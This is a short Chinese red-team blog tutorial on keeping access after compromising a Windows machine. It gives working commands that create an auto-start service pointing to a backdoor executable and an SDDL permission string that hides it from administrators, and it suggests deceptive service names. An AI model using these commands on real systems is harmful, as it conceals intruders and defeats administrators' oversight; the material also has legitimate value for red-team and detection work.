
红队技巧：隐藏 windows 服务

在 后渗透测试 中，我们拿到了⽬标机器的权限后，要想办法维持权限，保持持久，嗯，很重

要，不管⽣活还是⼯作都需要持久！

利⽤ windows 服务来植⼊我们的后⻔也是⼀种常⻅的利⽤⽅式，但是往往⼀般植⼊的服务很容

易被管理员在任务管理器看到。如果可以隐藏的话，就⼤⼤提⾼了我们的持久性，今天就介绍下

⼀种利⽤ powershell 来进⾏隐藏 windows 服务的技巧，重启后也可以正常启动。

⾸先创建⼀个服务（需要系统管理员权限运⾏的 CMD）：

sc create mrxn binPath=C:/Users/mrxn.net/Desktop/mrxn.exe start=auto 

在后渗透测试中，我们拿到了⽬标机器的权限后，要想办法维持权限，保

持持久，嗯，很重要，不管⽣活还是⼯作都需要持久！ 利⽤ windows 服务

来植⼊我们的后⻔也是⼀种常⻅的利⽤⽅式，但...

“
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如上图所示可以看到成功创建了⼀个名为 mrxn 的 windows 服务，实战过程可以加上⼀些描

述，取⼀个迷惑性的名字等等操作迷惑对⼿。

然后以管理员权限打开⼀个 powershell 窗⼝，运⾏安全描述符定义语⾔ (SDDL) 命令来隐藏我

们创建的 mrxn 服务：

& $env:SystemRoot\System32\sc.exe sdset mrxn "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)
(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;
SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)" 
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运⾏成功后，在我们的任务管理器⾥⾯就看不到创建的 mrxn 服务了（需要重启任务管理器或者

你命令刷新）

如果你不想隐藏次 windows 服务了，运⾏以下安全描述符定义语⾔ (SDDL) 命令来取消隐藏即

可：

& $env:SystemRoot\System32\sc.exe sdset mrxn "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWR
PWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPD
TLOCRSDRCWDWO;;;WD)" 
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如上图所示，成功取消隐藏 windows 服务。

这种⽅法对于红队来说，还是有⼀定作⽤的，欢迎 渗透 ⼤佬们实践评论。

详细的原理来⾃这⾥：https://www.sans.org/blog/red-team-tactics-hiding-windows-

services/ 我只是实践者。
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